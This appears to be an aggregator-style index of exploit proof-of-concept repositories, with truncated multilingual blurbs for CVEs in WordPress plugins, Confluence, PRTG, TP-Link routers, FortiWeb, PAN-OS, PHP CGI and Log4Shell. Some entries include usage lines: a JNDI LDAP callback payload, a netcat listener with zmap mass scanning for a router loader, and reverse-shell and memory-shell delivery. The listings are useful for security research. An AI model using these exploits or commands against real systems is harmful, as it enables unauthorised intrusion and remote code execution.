CVE-2024-0399

CVE-2024-0399 - WooCommerce Customers Manager 29.4 - 인증 후 SQL 인젝션 Exploit 제목: WooCommerce Customers Manager 29.4 - 인증 후 SQL 인젝션 날짜: 2024-03-25 익스플로잇 작성자: Ivan Spiridonov - xbz0n 소프트웨어 링크: https://codecanyon.net/item/woocommerce-customers-manager/10965432 버전: 29.4 테스트 환경: Ubuntu 22.04 CVE:...

CVE-2026-66753-HTTP-Header-Injection-via-Unvalidated-CR-and-LF-in-Header-Values-tiny_http-

セキュリティアドバイザリ: HTTPヘッダー値における未検証のCRおよびLFによるHTTPヘッダーインジェクション tinyhttp 割り当て済みCVE ID: CVE-2026-66753 概要 tinyhttpは、HTTPヘッダー値内のキャリッジリターンCRやラインフィードLFを、リクエスト側・レスポンス側のどちらでも拒否しません。 リクエスト側では、readnextline はCRLFの場合にのみヘッダー行を終了するため、単独のLFはパースされた値の中に残り、アプリケーションに到達します。レスポンス側では、Header::frombytes...

AndroidWebviewInjectDemo

AndroidWebviewInjectDemo Android WebViewのセキュリティ問題（CVE-2012-6636）をテストするためのアプリデモです。...

CVE-2024-33911

The School Management 10.3.4 - 인증 후 SQL 인젝션 익스플로잇 제목: The School Management 10.3.4 - Post-Authenticated SQL Injection 날짜: 2024년 4월 29일 익스플로잇 작성자: Ivan Spiridonov xbz0n 공급업체 홈페이지: https://theschool-management.com 버전: 10.3.4 테스트 환경: Ubuntu 22.04 CVE: CVE-2024-33911 취약점 The School Management 플러그인, 버...

CVE-2023-29007_win-version

CVE-2023-29007win-version 원본 PoC https://github.com/ethiack/CVE-2023-29007 CVE-2023-29007에 대한 PoC 저장소입니다. 더 많은 정보는 다음에서 확인할 수 있습니다: https://blog.ethiack.com/en/blog/git-arbitrary-configuration-injection-cve-2023-29007 https://github.blog/2023-04-25-git-security-vulnerabilities-announced-4/...

CVE-2022-30781

🍵 CVE-2022-30781 Gitea 저장소 마이그레이션 원격 코드 실행 익스플로잇. 사용 방법 1. 이 리포지토리의 파일로 HTTP 파일 시스템 서버를 실행합니다. 2. api/v1/repos/e99/exp/pulls/1/index.html L96에서 실행할 명령을 편집합니다. 3. Gitea 인스턴스에서 URL http:///e99/exp로 원격 저장소를 마이그레이션합니다. 4. Pwnned! 참고 https://tttang.com/archive/1607/ 중국어 크레딧 @wuhan005 @Li4n0 Vidar-Team...

CVE-2020-1947

CVE-2020-1947 root@kitploit: usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

CVE-2023-1514-SQL-Injection-Teampass-

CVE-2023-1514-SQL-Injection-Teampass 사용 설명: root@kitploit: python .\CVE-2023-1514.py url...

CVE-2025-5287

描述： 这是一个利用代码，针对WordPress插件上的Unauth SQL注入漏洞（CVE-2025-5287），支持多个URL和多线程。 使用示例： 用法: CVE-2025-5287.py -h --file FILE --fudge FUDGE --timeout TIMEOUT --threads THREADS --proxy PROXY 基于时间的SQL注入检查器（整洁、多线程、支持代理） 可选参数： -h, --help 显示此帮助信息并退出 --file FILE 包含基础URL的文件（例如 http://example.com） --fudge FUDGE...

CVE-2023-25157

CVE-2023-25157 - GeoServer SQL 인젝션 - PoC CVE: CVE-2023-25157 날짜: 06/06/2023 공급업체/소프트웨어: GeoServer 심각도: 9.8/10 - 이 스크립트는 GeoServer에서 발생하는 OGC Filter SQL 인젝션 취약점에 대한 개념 증명PoC입니다. GeoServer는 지리공간 데이터 공유를 위한 인기 있는 오픈소스 소프트웨어 서버입니다. 대상 URL에 요청을 보내고 CQLFILTER 매개변수에 악성 페이로드를 주입하여 잠재적인 취약점을 악용합니다. 실험 목적으...

CVE-2018-9276

CVE-2018-9276 PRTG 18.2.39 인증된 명령 주입 리버스 셸 https://nvd.nist.gov/vuln/detail/CVE-2018-9276 https://github.com/M4LV0이 작성한 익스플로잇의 개선 버전입니다. 저는 그들의 스크립트에서 POST 데이터를 사용했지만, 그걸로는 성공률이 높지 않아 더 신뢰할 수 있게 만들었습니다. 페이로드 전달은 본질적으로 smbdelivery입니다. Impacket은 msfvenom이 생성한 .dll을 제공하며, rundll32.exe가 모든 작업을 수행합니다...

cve-2022-22947-godzilla-memshell

CVE-2022-22947 godzilla-memshell CVE-2022-22947 고질라 메모리셸 주입...

CVE-2022-26134-Confluence-RCE

CVE-2022-26134 익스플로잇: OGNL 인젝션을 통한 Confluence 사전 인증 원격 코드 실행 OGNL 랜드의 또 다른 익스플로잇 설명 Confluence는 호주 소프트웨어 회사 Atlassian이 개발한 웹 기반 기업 위키입니다. 2022년 6월 2일, Atlassian은 Confluence Server 및 Data Center 애플리케이션에 대한 보안 권고를 발표하여 중요한 심각도의 인증되지 않은 원격 코드 실행 취약점을 강조했습니다. OGNL 인젝션 취약점으로 인해 인증되지 않은 사용자가 Confluence...

CVE-2025-11953-PoC

説明 React Native Community CLIによって起動されるMetro Development Serverは、デフォルトで外部インターフェースにバインドします。サーバーはOSコマンドインジェクションに対して脆弱なエンドポイントを公開しています。これにより、認証されていないネットワーク攻撃者がサーバーにPOSTリクエストを送信し、任意の実行ファイルを実行できます。Windowsでは、攻撃者は完全に制御された引数で任意のシェルコマンドを実行することもできます。 影響を受けるバージョン プロダクト| 深刻度| 影響を受けるバージョン| パッチ適用バージョン...

CVE-2023-1389

TP-Link Archer AX21 - 인증되지 않은 명령 주입 Loader POC CVE-2023-1389 익스플로잇 제목: TP-Link Archer AX21 - 인증되지 않은 명령 주입 발견 날짜 : 07/25/2023 익스플로잇 작성자: Voyag3r root@kitploit: How to Use :- Scanning - Use Zmap : zmap -p 80 -o list.txt NetCat Listener - apt install netcat -y - nc lnvp Loader - go run . --host=...

watchTowr-vs-FortiWeb-CVE-2025-25257

watchTowr-vs-FortiWeb-CVE-2025-25257 FortiWeb CVE-2025-25257용 탐지 아티팩트 생성기 기술적 세부 사항은 블로그 게시물을 참조하세요. https://github.com/user-attachments/assets/e59f2b3b-2b9b-469f-b4a8-2b7df2ede194 동작 중 탐지 root@kitploit: python watchTowr-vs-FortiWeb-CVE-2025-25257.py --target https://192.168.8.30/ --lhost...

watchTowr-vs-SysAid-PreAuth-RCE-Chain

SysAid PreAuth RCE 체인 PoC SysAid PreAuth RCE 체인CVE-2025-2775, CVE-2025-2776, CVE-2025-2777, CVE-2025-2778에 대한 PoC 기술적 세부 사항은 블로그 게시물을 참조하세요. https://github.com/user-attachments/assets/03245fab-915d-43b6-8e91-f0a18251af49 PoC 실행 root@kitploit: python watchTowr-vs-SysAid-PreAuth-RCE-Chain.py -t...

palo-alto-panos-cve-2024-0012

CVE-2024-0012 및 CVE-2024-9474 Palo Alto PAN-OS의 관리 웹 인터페이스 인증 우회PAN-SA-2024-0015 및 인증된 명령 주입 기술적 세부 사항은 블로그 게시물을 참조하세요 영향을 받는 버전 root@kitploit: TBD 익스플로잇 작성자 이 익스플로잇은 watchTowr @watchtowrcyber의 Sonny가 작성했습니다. watchTowr Labs 팔로우 최신 보안 연구를 위해 watchTowr Labs 팀을 팔로우하세요. https://labs.watchtowr.com/...

CVE-2024-4577

CVE-2024-4577 @watchTowr가 개발한 PoCProof of Concept로, PHP CGI 인자 주입Argument Injection 취약점CVE-2024-4577을 악용하여 Windows 환경에서 실행되는 취약한 PHP 버전에서 RCE원격 코드 실행를 획득합니다. 이 취약점에 대한 상세 기술 분석 Orange Tsi 🍊 이 취약점은 DEVCORE @d3vc0r3의 Orange Tsai @orange8361가 발견했습니다. 그의 뛰어난 연구를 꼭 팔로우하세요. 우리의 역할은 이 문제에 대한 익스플로잇을 재현하고...

log4shell-test-exploit

CVE-2021-44228 log4shell 익스플로잇 테스트 준비 root@kitploit: Install Nodejs HTTP server npm -g i http-server Build victim app cd victim-app mvn install Compile Trojan cd test-trojan javac Trojan.java Build marshalsec required Java 8 git clone [email protected]:mbechler/marshalsec.git cd marshalsec m...